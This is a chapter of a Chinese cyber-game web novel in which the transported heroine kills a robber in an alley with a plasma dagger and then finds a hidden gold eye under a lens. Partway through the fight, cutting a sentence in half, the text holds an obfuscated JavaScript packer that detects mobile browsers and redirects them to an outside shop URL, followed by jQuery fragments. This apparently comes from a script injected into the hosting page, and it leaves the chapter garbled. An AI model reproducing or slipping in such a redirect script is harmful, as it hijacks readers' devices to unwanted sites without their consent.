4. npc首杀+诡异金瞳

作品:《狭路相逢先杀为敬[赛博游戏]

    【白给:亲亲,根据设定,您现在是一个叛逆的不合格的继承人呢。


    准确来说,您不愿意继承爷爷奶奶,也就是初代财阀的家产。执着地想靠自己打拼事业,让这辈子没见过几次、有血缘关系的亲爹对自己刮目相看。】


    这辈子都没见过几次的,有血缘关系的亲爹。


    好好好,如此绕口。


    【宴羲和:数据没给错吧,他只有我一个孩子,我跟他没见过几面?】


    【白给:是的呢,亲亲。原主的父母原先很相爱,但是母亲在生你的时候难产去世了,所以父亲把你放在爷爷奶奶那儿鲜少过问。】


    【宴羲和:赛博世界,高科技低生活连子宫仓都有了,原主母亲难产没的?这合理吗?】现在剧情已经不考虑逻辑了呗?


    【白给:是的呢,亲亲,您的母亲坚持


    要亲自孕育出新的生命。】


    【宴羲和:也就是说我现在什么都没有,纯靠自己打拼呗?】


    好消息,账号价值极高。坏消息,异地登录被封号。


    【白给:不是的呢,亲亲。虽然您的主卡被限制,但您自己偷偷储存了一张副卡,上面有你这几年攒下来的零花钱,您为了叛逃计划已经酝酿了三年。】


    【宴羲和:行吧,总算有点启动资金了。】


    她打开光脑,翻到自己的财富列表,然后弹出来一个很长的余额列表。


    宴羲和定睛一看,好家伙!后面的0比她身份证号都长。初代财阀果然是名不虚传。她以前过的是什么苦日子!


    【宴羲和:我还有一个问题,既然玩家身份是保密的,你们还特意提醒玩家保护好自己的玩家身份。我该怎么找到玩家并首杀呢?


    你们要想抹杀我可以直说,不用故意给我一个机会的。我总不能出门见人就杀吧。】就算是出门见人就杀,杀一天都不一定能杀到个玩家。


    【白给:亲亲,请您勇敢尝试呢。如无法完成新手任务,系统将判定完宿主不适合本游戏。即:即刻抹杀。】


    宴羲和看看“空荡荡”的房间,再低头看看自己这一身作训服,成功被自己气笑了。


    ……


    【宴羲和:不是,我财富余额都那么多零了,为什么要住宿舍呀?】采购完生活用品正往回走的人突然反应过来。


    她边走边划开自己的卡包。卡包有一百多张,包括但不限于各种黑卡、VIC卡、至尊卡,不动产证明更是一长串。


    【白给:亲亲,原主刚和家里大吵一架,决定自力更生。现在是您自力更生的第11天,您的人设为叛逆财阀三代军二代。如果现在妥协,易产生ooc被人发现玩家身份。】


    立即需要的东西被她拎着,剩下的大部分东西预约了商场的上门送货服务。


    从商业区回军营要穿过一片老城区,这是最近的路线,老城区的建筑密度高巷道狭窄,头顶是密密麻麻的全息广告投影和各种线路,脚下的地面也是坑坑洼洼的。


    空气中弥漫着廉价营养液的味道和一些潮湿的霉味。


    有点偏僻,但是也没办法,军团总不可能建在市中心吧。


    脸上的护目镜已经被收进了外套领口的卡槽里,但光脑在持续运行中。


    宴羲和视线的左右上角有一个绿色的点,是她设置的路线记忆,跟着走,15分钟就能回到住所。


    她一边和系统说着,一边抬脚拐进一道巷子。


    然而身后传来的脚步声引起了她的警觉。身后的人节奏稳定步幅均匀,像是刻意压低了脚步。


    但老城区的路不太平整,所以总能发出一些动静,出卖这个跟踪者的存在。


    宴羲和没有回头继续往前走,光脑无声无息切换运行模式。视野右上方弹出一行极小的字。


    【后方热源检测中。


    热源数量:1


    间距:8米


    移动速度:与您同步】


    【能知道后面的是谁吗?】这句话是和白给说的。


    【白给:不能确定具体身份。看样子可能是你刚刚花钱花猛了,盯上你的。】


    那就是普通的劫匪了,宴羲和转身进入另一条巷子,将手里的购物袋放在墙边,然后转过身守株待兔。


    跟踪者刚转身进入巷子,就见到了站在那儿面露戏谑的女人。


    光脑还在持续分析对方身份。


    【光脑:面部识别尝试失败,光线过暗,目标面部遮挡。


    体型分析已完成:男性,身高180~182厘米


    预估体重:70~74千克


    分析结果:无明显机械改造特征。右手持疑似电击类非致命武器,风险评估低。


    战术建议:立即制服。】


    两人一个照面,谁都没有说话,直接开干。


    宴羲和手中握着的,正是今天与异兽搏斗使用的等离子匕首,随着手腕一甩,幽蓝的光束展开。整个人呈攻击前的预备姿态。


    等离子匕首有长短两个模式,这次开的是一米左右的刀剑长度。至少在长度上比对方的武器有优势。


    男人愣了一下,意识到自己犯了一个大错误,但是已经来不及了。


    本以为是个肥羊,看这姿势像是军方的人。


    没带枪失算了。管控区鸣枪,和钻进永昼军队被窝里耍流/氓区别不大。


    男人稍微有点怂了,将电击棒往身后藏了藏,看起来极为真诚地问了一句,“我说我是路过,你信吗?”


    然而宴羲和比他更真诚,“你摘下口罩让我扫个脸,我就信。”路过?大晚上带着口罩遮挡面部,拿着电击棒跟在小姑娘身后,啧。


    扫是不可能扫的。这人一看就是军方的,军方光脑权限高。一面部识别,他以前的案底就藏不住。


    算了,大不了拼死一搏,先下手为强。男人心一横猛地挥动电击棒。


    宴羲和只是冷笑一下,左手轻而易举地抓住他的手臂,然后另一只手精准扣住他的腕关节往下一压,顺势扭转。


    骨头错位发出“咔”的一声,在安静的巷子里十分清晰,那人发出一声惨叫,手里的电击棒掉在地上。


    紧接着她左手不变,右手滑到他的腋下,迅速转身,干净利落地将人背摔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470716|201465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在地。


    男人的身体重重砸向地上的石板,疼痛感从背脊向外延伸,不一会儿就遍布全身。


    然而这种疼痛感并没有持续很久,因为那枚等离子匕首已经狠狠扎进了他的动脉。


    宴羲和迅速抽刀,鲜红的血液从伤口喷出来,好在她及时撤离,喷射出的血迹溅在左侧的墙壁上划出一道触目惊心的痕迹。


    她看着男人的脸上的眼神从恐惧到空洞,伴随着喉管处发出的呼噜呼噜声,慢慢死去。


    她站在原地,冷漠地将匕首收回腿包,然后转身提起地上的购物袋往外走。


    光脑在后台自动形成了一个事件报告。


    【光脑:遭遇未知身份武装人员攻击,对方人数1人,地点时间已自动输入。目前对方状态:已失能,是否需要上报该事件?】


    宴羲和扫了一眼,选择了取消上报。


    她干净利落的杀人手法,看得白给一愣一愣的,虽然它是第1次带玩家,可它们系统有一个交流论坛。


    其中有很多前辈分享了自己的经验,大部分系统会说新玩家脆皮,道德感高,接受能力不行。


    说这些新玩家来自另一个世界,还是和平禁枪的年代。杀人这种东西他们只在影视剧里看到过。


    很多玩家在第一次杀人后,或多或少会留下一些应激障碍,以及其他心理方面的问题。


    可它的宿主看起来……反正是不像什么正经人。白给是这么想的也是这么问的,【宿主,就你这杀人手法,在现实生活中不像啥正经人儿呐。】


    宴羲和神色不变脚步未停,说得理所当然,【你没看过我的资料吗?我在现实世界也是军人。】


    【是吗?】白给有些疑惑地打开追溯功能。玩家身份对它们来说不是很重要,大部分玩家都是上面精挑细选的,小部分是陪跑选手。


    原本的身份已经被全面覆盖,甚至连白给之前查看产生的记忆数据与浏览记录也全被删除。


    白给看着宴羲和的军队服役记录,个人档案上特长写着黑客,隐约觉得自己似乎绑定了什么不得了的宿主。


    系统等级越高,权限等级越高,同时智能度和精细度也会有显著提升。现在只有一级的白给在宴羲和面前,真的是和白给一样毫无威胁性。


    走到房间门口的宴羲和,目光下意识扫向对面房间,发现对面房门依旧是紧闭的状态。


    将手提袋放在桌子上,她转身走向卫生间,洗完手吹干的时候,她瞥向镜子,无意间发现自己的瞳色有些奇怪。黑色是黑色,但是看着有些奇怪。


    她凑近镜子,伸出左手摁住下眼皮往下拉,眼球上露出一个圆形玻璃状东西的边缘。


    眼睛确实是原装眼睛,不是什么义眼,只是上面覆盖着一层类似隐形眼镜的东西。


    宴羲和左手不变,照着镜子确定方位,伸出右手大拇指和食指试图将那层东西摘下来。


    视线没有任何受阻,视力也没有变化,她看着手上一个圆球形黑色玻璃片,下意识抬头看向镜子里的自己。


    一边是纯正的黑瞳,另一边则是诡异的金瞳。